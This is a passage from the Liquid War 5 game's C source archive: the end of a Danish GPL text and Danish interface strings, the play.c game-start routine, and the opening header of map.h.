hvis De ikke accepterer denne licens. Ved at aendre eller distribuere Programmet (eller et Vaerk baseret paa Programmet) tilkendegiver De derfor Deres accept af licensen samt alle dens betingelser og vilkaar for at kopiere, distribuere eller aendre Programmet eller Vaerker baseret paa Programmet. \n\n6. Hver gang De distribuerer Programmet (eller et Vaerk baseret paa Programmet), faar modtageren automatisk licens fra den oprindelige licensgiver til at kopiere, distribuere eller aendre Programmet i henhold til disse betingelser og vilkaar. De har ikke ret til at paalaegge modtagerne yderligere restriktioner i deres brug af de rettigheder, der herved ydes. De er ikke ansvarlig for at haandhaeve tredjemands overholdelse af denne licens. \n\n7. Hvis De som foelge af en retsafgoerelse eller paastand om kraenkelse af patentret eller af en hvilken som helst anden grund (ikke begraenset til patentudstedelse) paatvinges vilkaar (det vaere sig ved retskendelse, kontrakt eller andet), der strider mod vilkaarene for denne licens, er D" "e ikke dermed fritaget for vilkaarene for denne licens. Hvis De ikke kan distribuere Programmet, saaledes at De paa samme tid opfylder Deres forpligtelser i henhold til denne licens og i overensstemmelse med andre relevante forpligtelser, foelger det, at De ikke har tilladelse til at distribuere Programmet overhovedet. Hvis f.eks. en patentlicens ikke ville tillade afgiftsfri videredistribution af Programmet via alle dem, der modtager kopier direkte eller indirekte igennem Dem, ville den eneste maade, hvorpaa De kunne overholde baade patentlicensen og denne licens, at De fuldstaendigt afholder Dem fra at distribuere Programmet. \n\nDersom en del af denne paragraf erklaeres ugyldig eller bliver umulig at haandhaeve i en bestemt situation, er det hensigten, at resten af paragraffen skal finde anvendelse, ligesom det er hensigten, at paragraffen som helhed skal gaelde i andre situationer. \nDet er saaledes ikke formaalet med denne paragraf at tilskynde Dem til at kraenke andre patenter eller ejendomskrav eller at bestride gyldigheden af saadanne krav. Denne paragraf har udelukkende til formaal at beskytte integriteten af distributionssystemet for frit software, som er implementeret gennem offentlig licenspraksis. Der er mange mennesker, der har ydet store bidrag til det brede udvalg af software, der distribueres via dette system i tiltro til, at systemet anvendes konsekvent. Det er op til softwareproducenten/donoren at beslutte, om han eller hun er villig til at distribuere software via et andet system, og en licenstager har ikke ret til at paatvinge nogen et saadant valg. \n\nFormaalet med denne paragraf er at goere det fuldstaendigt klart, hvad konsekvensen af resten af denne licens menes at vaere. \n\n8. Hvis distributionen og/eller brugen af Programmet er underlagt restriktioner i visse lande pga. enten patenter eller graenseflader, der er belagt med ophavsret, kan den oprindelige ophavsretindehaver, der har placeret Programmet under denne licens, tilfoeje en udt" "rykkelig geografisk distributionsbegraensning, der udelukker de paagaeldende lande, saaledes at distribution kun er tilladt i eller imellem lande, der ikke paa denne vis er udelukket. I tilfaelde heraf inkorporerer denne licens en saadan begraensning som om den var indarbejdet i selve licenstekstens ordlyd. \n\n9. The Free Software Foundation offentliggoer formodentligt reviderede og/eller nye versioner af sin General Public License fra tid til anden. Saadanne nye versioner vil udtrykke den samme grundlaeggende tankegang som den nuvaerende version, men visse detaljer vil sikkert aendres for at tage hoejde for nye vinkler eller problemer. \n\nDet er let at kende forskel paa de forskellige versioner, idet de alle er tydeligt forsynet med et nummer. Hvis Programmet specificerer et versionsnummer for denne licens som gaeldende for Programmet, tillige med ordene \"alle senere versioner\", har De mulighed for at vaelge, om De vil foelge vilkaar og betingelser for enten den version eller en anden senere version udgivet af The Free Software Foundation. Hvis Programmet ikke specificerer et versionsnummer for denne licens, kan De vaelge blandt samtlige versioner, der nogensinde er udgivet af The Free Software Foundation. \n\n10. Hvis De oensker at inkorporere dele af Programmet i andre frie programmer, der er underlagt andre distributionsbetingelser, foreslaar vi, at De skriver til ophavsmanden og anmoder om tilladelse. Hvis det drejer sig om software, hvor ophavsretten tilhoerer The Free Software Foundation, bedes De skrive til The Free Software Foundation. Der er visse undtagelser. Vores afgoerelse vil vaere baseret paa to maal - at bevare den frie status for alle afledte vaerker af vores frie software og at fremme udvekslingen og genbrugen af software generelt. \n\n\nINGEN GARANTI \n\n11. IDET LICENSEN GIVER GRATIS BRUGSTILLADELSE PAA PROGRAMMET, YDES DER INGEN GARANTI PAA PROGRAMMET I DET OMFANG, DET ER TILLADT EFTER GAELDENDE LOV. MEDMINDRE DET UDTRYKKELIGT MEDDELES SKR" "IFTLIGT, YDER OPHAVSRETINDEHAVERNE OG/ELLER ANDRE PARTER PROGRAMMET \"SOM BESET\" UDEN GARANTI AF NOGEN ART, DET VAERE SIG UDTRYKTE ELLER UNDERFORSTAAEDE GARANTIER, HERUNDER, MEN IKKE BEGRAENSET TIL, DE UNDERFORSTAAEDE GARANTIER VEDROERENDE SALGBARHED OG SPECIFIK BRUGSEGNETHED. DEN FULDE RISIKO, HVAD ANGAAR PROGRAMMETS KVALITET OG FUNKTION, PAAHVILER DEM. SKULLE DET VISE SIG, AT PROGRAMMET ER DEFEKT, SKAL DE ERHOLDE UDGIFTERNE TIL AL NOEDVENDIG SERVICE, REPARATION ELLER JUSTERING. \n\n12. UNDER INGEN OMSTAENDIGHEDER - MEDMINDRE DET KRAEVES AF GAELDENDE LOV ELLER ER SKRIFTLIGT AFTALT - SKAL EN OPHAVSRETINDEHAVER ELLER EN ANDEN PART, DER HAR TILLADELSE TIL AT AENDRE OG/ELLER DISTRIBUERE PROGRAMMET SAALEDES SOM BESKREVET OVENFOR, VAERE ERSTATNINGSANSVARLIG OVER FOR DEM VEDROERENDE SKADER, HERUNDER GENERELLE, SPECIFIKKE OG TILFAELDIGE SKADER SAMT FOELGESKADER I FORBINDELSE MED BRUG AF ELLER MANGLENDE BRUG AF PROGRAMMET (HERUNDER MEN IKKE BEGRAENSET TIL TAB AF DATA ELLER DATA, DER ER BLEVET UNOEJAGTIGE, ELLER TAB, DER ER PAAFOERT DEM ELLER TREDJEMAND, ELLER PROGRAMMETS MANGLENDE EVNE TIL AT KOERE SAMMEN MED ANDRE PROGRAMMER) SELV OM DEN PAAGAELDENDE OPHAVSRETINDEHAVER ELLER ANDEN PART ER BLEVET OPLYST OM MULIGHEDEN FOR, AT SAADANNE TAB KUNNE OPSTAA. \n\nHER SLUTTER BETINGELSER OG VILKAAR FOR GENERAL PUBLIC LICENSE\n\nMore informations on www.ufoot.org/liquidwar/v5\n"; LW_LANGDK_DATA[LW_LANG_STRING_HELP_VERSION] = "Liquid War by U-Foot\n\nv" LW_VERSION " \n\ncompiled on " __DATE__ " at " __TIME__ "\n\nMere information paa www.ufoot.org/liquidwar/v5\n"; LW_LANGDK_DATA[LW_LANG_STRING_MENU_PLAY] = "Start"; LW_LANGDK_DATA[LW_LANG_STRING_MENU_NETGAME] = "Netspil"; LW_LANGDK_DATA[LW_LANG_STRING_MENU_MAP] = "Baner"; LW_LANGDK_DATA[LW_LANG_STRING_MENU_TEAMS] = "Hold"; LW_LANGDK_DATA[LW_LANG_STRING_MENU_OPTIONS] = "Indstillinger"; LW_LANGDK_DATA[LW_LANG_STRING_MENU_ABOUT] = "Om spillet"; LW_LANGDK_DATA[LW_LANG_STRING_MENU_EXIT] = "Afslut"; LW_LANGDK_DATA[LW_LANG_STRING_MENU_EXITDOS] = "Ud til DOS"; LW_LANGDK_DATA[LW_LANG_STRING_MENU_EXITWINDOWS] = "Afslut"; LW_LANGDK_DATA[LW_LANG_STRING_MENU_EXITUNIX] = "Afslut"; LW_LANGDK_DATA[LW_LANG_STRING_MENU_BACK] = "Tilbage til LW"; LW_LANGDK_DATA[LW_LANG_STRING_DIALOG_QUIT] = "Afslut"; LW_LANGDK_DATA[LW_LANG_STRING_DIALOG_BACK] = "Tilbage"; LW_LANGDK_DATA[LW_LANG_STRING_DIALOG_PLAY] = "Start"; LW_LANGDK_DATA[LW_LANG_STRING_DIALOG_MAIN] = "Menu"; LW_LANGDK_DATA[LW_LANG_STRING_PLAY_GETREADY] = "Lad kampen begynde!"; LW_LANGDK_DATA[LW_LANG_STRING_NETGAME_STARTGAME] = "Start spil"; LW_LANGDK_DATA[LW_LANG_STRING_NETGAME_SERVERADDR] = "Server addr"; LW_LANGDK_DATA[LW_LANG_STRING_NETGAME_SERVERPORT] = "Server port"; LW_LANGDK_DATA[LW_LANG_STRING_NETGAME_SEARCH] = "Find internet-spil"; LW_LANGDK_DATA[LW_LANG_STRING_NETGAME_PASSWORD] = "kodeord (*)"; LW_LANGDK_DATA[LW_LANG_STRING_NETGAME_WEAKPASSWORD] = "(*) ADVARSEL! Benyt et svagt kodeord som \"hallo\", da det opbevares paa din harddisk og sendes til serveren som ren tekst."; LW_LANGDK_DATA[LW_LANG_STRING_LANGUAGE_AUTO] = "Automatisk"; LW_LANGDK_DATA[LW_LANG_STRING_TEAM_OFF] = "Inaktiv"; LW_LANGDK_DATA[LW_LANG_STRING_TEAM_HUMAN] = "Spiller"; LW_LANGDK_DATA[LW_LANG_STRING_TEAM_CPU] = "CPU"; LW_LANGDK_DATA[LW_LANG_STRING_OPTIONS_GRAPHICS] = "Grafik"; LW_LANGDK_DATA[LW_LANG_STRING_OPTIONS_SOUND] = "Lyd"; LW_LANGDK_DATA[LW_LANG_STRING_OPTIONS_RULES] = "Regler"; LW_LANGDK_DATA[LW_LANG_STRING_OPTIONS_SPEEDS] = "Fart"; LW_LANGDK_DATA[LW_LANG_STRING_OPTIONS_CONTROLS] = "Kontrol"; LW_LANGDK_DATA[LW_LANG_STRING_OPTIONS_LANGUAGE] = "Sprog"; LW_LANGDK_DATA[LW_LANG_STRING_OPTIONS_DEFAULT] = "Standard"; LW_LANGDK_DATA[LW_LANG_STRING_GRAPHICS_GAME] = "Spil"; LW_LANGDK_DATA[LW_LANG_STRING_GRAPHICS_MENU] = "Menu"; LW_LANGDK_DATA[LW_LANG_STRING_GRAPHICS_ON] = "Til"; LW_LANGDK_DATA[LW_LANG_STRING_GRAPHICS_OFF] = "Fra"; LW_LANGDK_DATA[LW_LANG_STRING_GRAPHICS_FULLSCREEN] = "Fuldskaerm"; LW_LANGDK_DATA[LW_LANG_STRING_GRAPHICS_WINDOWED] = "Windowed"; LW_LANGDK_DATA[LW_LANG_STRING_GRAPHICS_ADVANCED] = "Advanceret"; LW_LANGDK_DATA[LW_LANG_STRING_GRAPHICS_VIDEOMODE] = "Video tilstand"; LW_LANGDK_DATA[LW_LANG_STRING_GRAPHICS_BRIGHTNESS] = "Lysstyrke"; LW_LANGDK_DATA[LW_LANG_STRING_GRAPHICS_VIEWPORTSIZE] = "Rammebredte"; LW_LANGDK_DATA[LW_LANG_STRING_GRAPHICS_PAGEFLIPPING] = "Page flipping"; LW_LANGDK_DATA[LW_LANG_STRING_GRAPHICS_WAVES] = "Waves (F4)"; LW_LANGDK_DATA[LW_LANG_STRING_VOLUME_SFX] = "Lydeffekter"; LW_LANGDK_DATA[LW_LANG_STRING_VOLUME_CLICK] = "Klik"; LW_LANGDK_DATA[LW_LANG_STRING_VOLUME_GAMEWATER] = "Vand i spil"; LW_LANGDK_DATA[LW_LANG_STRING_VOLUME_MENUWATER] = "Vand i menu"; LW_LANGDK_DATA[LW_LANG_STRING_VOLUME_MUSIC] = "MusiK"; LW_LANGDK_DATA[LW_LANG_STRING_RULES_TIME] = "Tid"; LW_LANGDK_DATA[LW_LANG_STRING_RULES_ADVANCED] = "Advanceret"; LW_LANGDK_DATA[LW_LANG_STRING_RULES_ARMYSIZE] = "Antal soldat"; LW_LANGDK_DATA[LW_LANG_STRING_RULES_CURSOR] = "Curser"; LW_LANGDK_DATA[LW_LANG_STRING_RULES_DEFAULT] = "Standard"; LW_LANGDK_DATA[LW_LANG_STRING_RULES_MINMAPRES] = "Min "; LW_LANGDK_DATA[LW_LANG_STRING_ADVANCED_ATTACK] = "Angrib"; LW_LANGDK_DATA[LW_LANG_STRING_ADVANCED_DEFENSE] = "Forsvar"; LW_LANGDK_DATA[LW_LANG_STRING_ADVANCED_BASEHEALTH] = "Basalt helbred"; LW_LANGDK_DATA[LW_LANG_STRING_ADVANCED_WINNERHELP] = "Vinderhjaelp"; LW_LANGDK_DATA[LW_LANG_STRING_ADVANCED_CPUSTRENGTH] = "CPU styrke"; LW_LANGDK_DATA[LW_LANG_STRING_ADVANCED_CPUVSHUMAN] = "CPU vs spiller"; LW_LANGDK_DATA[LW_LANG_STRING_ADVANCED_ALWAYS] = "Altid"; LW_LANGDK_DATA[LW_LANG_STRING_ADVANCED_RANDOM] = "Tilfaeldigt"; LW_LANGDK_DATA[LW_LANG_STRING_ADVANCED_NEVER] = "Aldrig"; LW_LANGDK_DATA[LW_LANG_STRING_ADVANCED_ASMALGORITHM] = "Algoritme"; LW_LANGDK_DATA[LW_LANG_STRING_ADVANCED_ASSEMBLY] = "Assembly"; LW_LANGDK_DATA[LW_LANG_STRING_ADVANCED_STANDARDC] = "Standard C"; LW_LANGDK_DATA[LW_LANG_STRING_ADVANCED_ALLOWNETWORKBOTS] = "Bots i netspil"; LW_LANGDK_DATA[LW_LANG_STRING_ADVANCED_YES] = "Ja"; LW_LANGDK_DATA[LW_LANG_STRING_ADVANCED_NO] = "Nej"; LW_LANGDK_DATA[LW_LANG_STRING_SPEEDS_FPS] = "frames/s"; LW_LANGDK_DATA[LW_LANG_STRING_SPEEDS_NOFPSLIMIT] = "Ingen fps-graense"; LW_LANGDK_DATA[LW_LANG_STRING_SPEEDS_RPS] = "Omgange/s"; LW_LANGDK_DATA[LW_LANG_STRING_SPEEDS_NORPSLIMIT] = "Ingen rps-graense"; LW_LANGDK_DATA[LW_LANG_STRING_CONTROLS_JOYSTICK] = "Joystick"; LW_LANGDK_DATA[LW_LANG_STRING_CONTROLS_OFF] = "Fra"; LW_LANGDK_DATA[LW_LANG_STRING_CONTROLS_2JOYSTICKS] = "2 joysticks"; LW_LANGDK_DATA[LW_LANG_STRING_CONTROLS_4BUTTONS] = "4 knapper"; LW_LANGDK_DATA[LW_LANG_STRING_CONTROLS_STANDARD] = "Standard"; LW_LANGDK_DATA[LW_LANG_STRING_CONTROLS_MOUSESENSIB] = "In-game mouse sensibility"; LW_LANGDK_DATA[LW_LANG_STRING_ABOUT_CREDITS] = "Credits"; LW_LANGDK_DATA[LW_LANG_STRING_ABOUT_COPYRIGHT] = "Copyright"; LW_LANGDK_DATA[LW_LANG_STRING_ABOUT_LICENSE] = "Licens"; LW_LANGDK_DATA[LW_LANG_STRING_ABOUT_VERSION] = "Version"; LW_LANGDK_DATA[LW_LANG_STRING_INTERNET_REFRESH] = "Opdater"; LW_LANGDK_DATA[LW_LANG_STRING_INTERNET_JOINNOW] = "Log ind"; LW_LANGDK_DATA[LW_LANG_STRING_INTERNET_PORT] = "Port"; LW_LANGDK_DATA[LW_LANG_STRING_INTERNET_PASSWORD] = "Kodeord"; LW_LANGDK_DATA[LW_LANG_STRING_INTERNET_YES] = "Ja"; LW_LANGDK_DATA[LW_LANG_STRING_INTERNET_NO] = "Nej"; LW_LANGDK_DATA[LW_LANG_STRING_INTERNET_UPTIME] = "Uptime"; LW_LANGDK_DATA[LW_LANG_STRING_INTERNET_DAYS] = "dage"; LW_LANGDK_DATA[LW_LANG_STRING_INTERNET_DAY] = "dage"; LW_LANGDK_DATA[LW_LANG_STRING_INTERNET_HOURS] = "t"; LW_LANGDK_DATA[LW_LANG_STRING_INTERNET_MINUTES] = "min"; LW_LANGDK_DATA[LW_LANG_STRING_INTERNET_SECONDS] = "sek"; LW_LANGDK_DATA[LW_LANG_STRING_INTERNET_UNREACHABLE] = "Unreachable"; LW_LANGDK_DATA[LW_LANG_STRING_INTERNET_PING] = "Ping"; LW_LANGDK_DATA[LW_LANG_STRING_INTERNET_MSEC] = "ms"; LW_LANGDK_DATA[LW_LANG_STRING_WAVE_AMPLI] = "Ampli"; LW_LANGDK_DATA[LW_LANG_STRING_WAVE_NUMBER] = "Antal"; LW_LANGDK_DATA[LW_LANG_STRING_WAVE_SPEED] = "Fart"; LW_LANGDK_DATA[LW_LANG_STRING_WAVE_WX] = "WX"; LW_LANGDK_DATA[LW_LANG_STRING_WAVE_HY] = "HY"; LW_LANGDK_DATA[LW_LANG_STRING_WAVE_WY] = "WY"; LW_LANGDK_DATA[LW_LANG_STRING_WAVE_HX] = "HX"; LW_LANGDK_DATA[LW_LANG_STRING_CONNECT_STARTNOW] = "Start nu"; LW_LANGDK_DATA[LW_LANG_STRING_CONNECT_WAITING] = "Vent..."; LW_LANGDK_DATA[LW_LANG_STRING_CONNECT_WAITINGFOR] = "Venter paa "; LW_LANGDK_DATA[LW_LANG_STRING_CONNECT_TEAMS] = " hold"; LW_LANGDK_DATA[LW_LANG_STRING_CONNECT_SENDMESSAGE] = "Send besked"; LW_LANGDK_DATA[LW_LANG_STRING_NETPLAY_CONNECT] = "Connect"; LW_LANGDK_DATA[LW_LANG_STRING_NETPLAY_PING] = "Ping"; LW_LANGDK_DATA[LW_LANG_STRING_NETPLAY_CHECKPROGRAM] = "Check program"; LW_LANGDK_DATA[LW_LANG_STRING_NETPLAY_CHECKVERSION] = "Check version"; LW_LANGDK_DATA[LW_LANG_STRING_NETPLAY_SENDPASSWORD] = "Kodeord"; LW_LANGDK_DATA[LW_LANG_STRING_NETPLAY_FREETEAMS] = "Frie hold?"; LW_LANGDK_DATA[LW_LANG_STRING_NETPLAY_RESERVETEAMS] = "Reserver hold"; LW_LANGDK_DATA[LW_LANG_STRING_NETPLAY_SENDCONFIG] = "Send config"; LW_LANGDK_DATA[LW_LANG_STRING_NETPLAY_SENDMAP] = "Send bane"; LW_LANGDK_DATA[LW_LANG_STRING_NETPLAY_WAITING] = "venter..."; LW_LANGDK_DATA[LW_LANG_STRING_NETPLAY_WHOPLAYS] = "Hvem spiller?"; LW_LANGDK_DATA[LW_LANG_STRING_NETPLAY_RECVCONFIG] = "Modtag konfig"; LW_LANGDK_DATA[LW_LANG_STRING_NETPLAY_RECVMAP] = "Modtag bane"; LW_LANGDK_DATA[LW_LANG_STRING_LEVEL_USEDEFAULTTEXTURE] = "Brug standard-texture"; LW_LANGDK_DATA[LW_LANG_STRING_LEVEL_ON] = "Til"; LW_LANGDK_DATA[LW_LANG_STRING_LEVEL_OFF] = "Fra"; LW_LANGDK_DATA[LW_LANG_STRING_LEVEL_RANDOMMAP] = "Tilfaeldig bane"; LW_LANGDK_DATA[LW_LANG_STRING_CODE_FPS] = "frames/s "; LW_LANGDK_DATA[LW_LANG_STRING_CODE_RPS] = "rounds/s "; LW_LANGDK_DATA[LW_LANG_STRING_CODE_PERCENTCALC] = "% calc "; LW_LANGDK_DATA[LW_LANG_STRING_CODE_PERCENTDISPLAY] = "% display "; LW_LANGDK_DATA[LW_LANG_STRING_CODE_SPREADGRADTIME] = "Spread grad time "; LW_LANGDK_DATA[LW_LANG_STRING_CODE_MOVEARMYTIME] = "Move army time "; LW_LANGDK_DATA[LW_LANG_STRING_CODE_DISPLAYTIME] = "Vis tid "; LW_LANGDK_DATA[LW_LANG_STRING_CODE_FLIPTIME] = "Flip tid "; LW_LANGDK_DATA[LW_LANG_STRING_CODE_OTHERCALCTIME] = "Other calc time "; LW_LANGDK_DATA[LW_LANG_STRING_CODE_GLOBALTIME] = "Global tid "; LW_LANGDK_DATA[LW_LANG_STRING_CODE_STANDARDDISPLAY] = "Standard display"; LW_LANGDK_DATA[LW_LANG_STRING_CODE_GRADIENT1] = "Gradient 1"; LW_LANGDK_DATA[LW_LANG_STRING_CODE_GRADIENT2] = "Gradient 2"; LW_LANGDK_DATA[LW_LANG_STRING_CODE_GRADIENT3] = "Gradient 3"; LW_LANGDK_DATA[LW_LANG_STRING_CODE_GRADIENT4] = "Gradient 4"; LW_LANGDK_DATA[LW_LANG_STRING_CODE_GRADIENT5] = "Gradient 5"; LW_LANGDK_DATA[LW_LANG_STRING_CODE_GRADIENT6] = "Gradient 6"; LW_LANGDK_DATA[LW_LANG_STRING_CODE_MESHSIZE] = "Gitter-stoerrelse"; LW_LANGDK_DATA[LW_LANG_STRING_CODE_MESHSTRUCTURE] = "gitterstruktur"; LW_LANGDK_DATA[LW_LANG_STRING_CODE_PAUSEOFF] = "Pause Fra"; LW_LANGDK_DATA[LW_LANG_STRING_CODE_PAUSEON] = "Pause til"; LW_LANGDK_DATA[LW_LANG_STRING_CODE_WAVEEFFECTSOFF] = "Wave-effekter fra"; LW_LANGDK_DATA[LW_LANG_STRING_CODE_WAVEEFFECTSON] = "Wave-effekter til"; LW_LANGDK_DATA[LW_LANG_STRING_CODE_CAPTUREOFF] = "Video capture fra"; LW_LANGDK_DATA[LW_LANG_STRING_CODE_CAPTUREON] = "Video capture til"; LW_LANGDK_DATA[LW_LANG_STRING_SCORE_WINNER] = "Vinder"; LW_LANGDK_DATA[LW_LANG_STRING_GAME_BACKMEMFAIL] = "Back mem fail"; LW_LANGDK_DATA[LW_LANG_STRING_GAME_DISPMEMFAIL] = "Disp mem fail"; LW_LANGDK_DATA[LW_LANG_STRING_GAME_MESHMEMFAIL] = "Mesh mem fail"; LW_LANGDK_DATA[LW_LANG_STRING_GAME_AREAMEMFAIL] = "Area mem fail"; LW_LANGDK_DATA[LW_LANG_STRING_GAME_ARMYMEMFAIL] = "Army mem fail"; LW_LANGDK_DATA[LW_LANG_STRING_ERROR_NOTENOUGHTEAMS] = "Ikke nok hold.\nDu skal mindst vaelge 2 hold fra \"Hold\" menuen."; LW_LANGDK_DATA[LW_LANG_STRING_ERROR_NOTENOUGHBIGDATA] = "Ikke nok hukommelse til at udvide level.\nBrug et mindre level eller laes dokumentationen og brug kommandolinie-parametre som \"-mem n\"."; LW_LANGDK_DATA[LW_LANG_STRING_ERROR_GRAPHICSINITFAILED] = "Kan ikke starte grafisk tilstand"; LW_LANGDK_DATA[LW_LANG_STRING_ERROR_NONETWORKSUPPORT] = "Intet netvaerkssupport paa denne platform.\nKun Windows og UNIX har det."; LW_LANGDK_DATA[LW_LANG_STRING_ERROR_UNABLETOCONNECT] = "Kan ikke faa forbindelse med serveren.\nMaaske er det ikke korrekt sat op, eller du er bag en firewall der forbyder forbindelsen."; LW_LANGDK_DATA[LW_LANG_STRING_ERROR_NOTALIQUIDWARSERVER] = "Kan ikke kommunikere med serveren.\nDet er nok ikke nogen Liquid War server."; LW_LANGDK_DATA[LW_LANG_STRING_ERROR_WRONGVERSION] = "Forkert client/server version.\nServer og client skal have samme version (Denne klient's version er \"" LW_VERSION "\")."; LW_LANGDK_DATA[LW_LANG_STRING_ERROR_NETWORKPROBLEM] = "Der er sket en netvaerksfejl.\nDette sker ofte hvis serveren er for langsom eller mistet."; LW_LANGDK_DATA[LW_LANG_STRING_ERROR_CANTSENDMAP] = "Kan ikke sende banen til serveren."; LW_LANGDK_DATA[LW_LANG_STRING_ERROR_CANTRECEIVEMAP] = "Kan ikke modtage banen fra serveren."; LW_LANGDK_DATA[LW_LANG_STRING_ERROR_SERVERFULL] = "Serveren er fuld og accepterer ikke flere hold."; LW_LANGDK_DATA[LW_LANG_STRING_ERROR_BADPASSWORD] = "Forkert kodeord."; LW_LANGDK_DATA[LW_LANG_STRING_ERROR_BADCONFIGRANGE] = "En af konfigurationsparametrene er is \"out of range\". Der en enten en fejl i spillet, nogen snyder og/eller proever at hacke noget."; LW_LANGDK_DATA[LW_LANG_STRING_POPUP_INITFAIL] = "Init failed."; LW_LANGDK_DATA[LW_LANG_STRING_POPUP_MEMTROUBLE] = "Der er ikke nok hukommelse til bitmaps."; LW_LANGDK_DATA[LW_LANG_STRING_POPUP_BIGDATA] = "Der er ikke nok hukommelse."; LW_LANGDK_DATA[LW_LANG_STRING_POPUP_LOADFAIL] = "Kan ikke loade datafil. Er du sikker paa at Liquid War er korrekt installeret?"; LW_LANGDK_DATA[LW_LANG_STRING_POPUP_CUSTOMFAIL] = "Kan ikke loade custom data."; LW_LANGDK_DATA[LW_LANG_STRING_POPUP_GRAPHICSFAIL] = "Kan ikke initialisere grafik."; LW_LANGDK_DATA[LW_LANG_STRING_LW6_INFO] = "This program is obsolete, please consider upgrading to Liquid War 6, available on\n\nhttp://www.gnu.org/software/liquidwar6/\n\nHowever, Liquid War 5 is still available for your convenience, and you can play it freely. Only major security holes will be fixed, expect no major changes on this legacy branch."; LW_LANGDK_DATA[LW_LANG_STRING_LW6_OK] = "OK"; } /*------------------------------------------------------------------*/ /* returns the English string associated to an id */ /*------------------------------------------------------------------*/ char * lw_langdk_string (int id) { char *result = NULL; if (id >= 0 && id < LW_LANG_NB_STRINGS) { result = LW_LANGDK_DATA[id]; } if (!result) { result = "??? en"; } return result; } liquidwar-5.6.5/src/play.c0000664000372000037200000002313013407756104015040 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : play.c */ /* contenu : fonction play du menu principal */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include #include "back.h" #include "config.h" #include "decal.h" #include "dialog.h" #include "error.h" #include "game.h" #include "gfxmode.h" #include "palette.h" #include "maptex.h" #include "play.h" #include "score.h" #include "sound.h" #include "sock2gen.h" #include "keyexch.h" #include "music.h" #include "lang.h" #include "mouse.h" #include "log.h" #include "network.h" #include "random.h" /*==================================================================*/ /* variables globales */ /*==================================================================*/ /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ /* * this function is basically what is launched when one presses * the play button. in fact it performs initializations and sanity * checks and then launches the game function located in game.c */ int play_sequence (void) { int result; lw_config_set_current_rules_to_default (); result = play_sequence_ex (); return result; } /*------------------------------------------------------------------*/ /* * Internal version of play_sequence, used for network games */ int play_sequence_ex (void) { char *message; int retour = 0; DIALOG d[2]; DIALOG_PLAYER *dp; int flip_enabled = 0; memset (d, 0, sizeof (d)); d[1].proc = 0; /* * we clear the screen by blitting the Liquid War 5 logo */ display_back_image (); /* * we display a "Get ready!" message so that the user does not worry * about what's going on */ main_message (d, lw_lang_string (LW_LANG_STRING_PLAY_GETREADY)); /* * we call update dialog artificially so that the "Get ready" * message is actually blitted on the screen */ dp = my_init_dialog (d, 0); my_update_dialog (dp); shutdown_dialog (dp); /* * we set up the 256 color palette so that it corresponds to * the textures the user has chosen */ lw_maptex_set_fg_palette (CONFIG_LEVEL_MAP, CONFIG_LEVEL_FG, LW_NETWORK_ON, LW_RANDOM_ON, CONFIG_USE_DEFAULT_TEXTURE); lw_maptex_set_bg_palette (CONFIG_LEVEL_MAP, CONFIG_LEVEL_BG, LW_NETWORK_ON, LW_RANDOM_ON, CONFIG_USE_DEFAULT_TEXTURE); /* * we calculate how many teams are playing */ calc_playing_teams (); /* * we set up the Allegro palette and LW's palette parameters so that * an optimized number of colors is used for each team's fighters */ set_playing_teams_palette (); /* * if there's only one team selected we stop right away and quit */ if (PLAYING_TEAMS < 2) { free_game_memory (); error_not_enough_teams (); } else { /* * we launch init_game from the game module, this function may fail * and if it does it returns a string containing the error message */ if (!(message = init_game ())) { /* * we set up the sound of waves a little louder so that the player * understands he's playing *now* */ WATER_VOLUME = CONFIG_WATER_VOLUME_GAME; /* * fade out cause we're going to switch video modes */ my_fade_out (); /* * we change the resolution, but only if the game resolution is * actually different from the menu resolution */ if (need_to_change_mode (CONFIG_GFX_GAME, CONFIG_GFX_MENU, CONFIG_PAGE_FLIP)) set_resolution (CONFIG_GFX_GAME, CONFIG_PAGE_FLIP, CONFIG_FULLSCREEN, &flip_enabled); lw_mouse_hide (); /* * the blank round function initializes the double-buffer system * and the main display target, it might fail because of lacking memory */ if (!blank_round ()) { /* * fiat lux */ my_fade_in (); /* * start playing some music */ start_music (); /* * OK, here we go, let's enter the main game loop */ game (); /* * stop the music */ stop_music (); } /* * let's be clean 8-) */ free_game_memory (); /* * we close the network socket abruptly */ lw_sock_close (&LW_KEYEXCH_SOCK); /* * we turn the volume down */ WATER_VOLUME = CONFIG_WATER_VOLUME_MENU; /* * fade out before video mode switching */ my_fade_out (); /* * again, we change the video mode only if it is really required */ if (need_to_change_mode (CONFIG_GFX_GAME, CONFIG_GFX_MENU, CONFIG_PAGE_FLIP && flip_enabled)) set_resolution (CONFIG_GFX_MENU, 0, CONFIG_FULLSCREEN, NULL); lw_mouse_show (); /* * displays the 3 tubes with the score */ retour = display_scores (); } else { /* * the main reason why init_game should fail is a lack of big data * this can be cured by selecting a smaller level or increasing the * amount of data reserved at startup (command line parameter) */ free_game_memory (); /* * we close the network socket abruptly */ lw_sock_close (&LW_KEYEXCH_SOCK); error_not_enough_big_data (); } } return retour; } liquidwar-5.6.5/src/map.h0000664000372000037200000001174613407756104014667 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 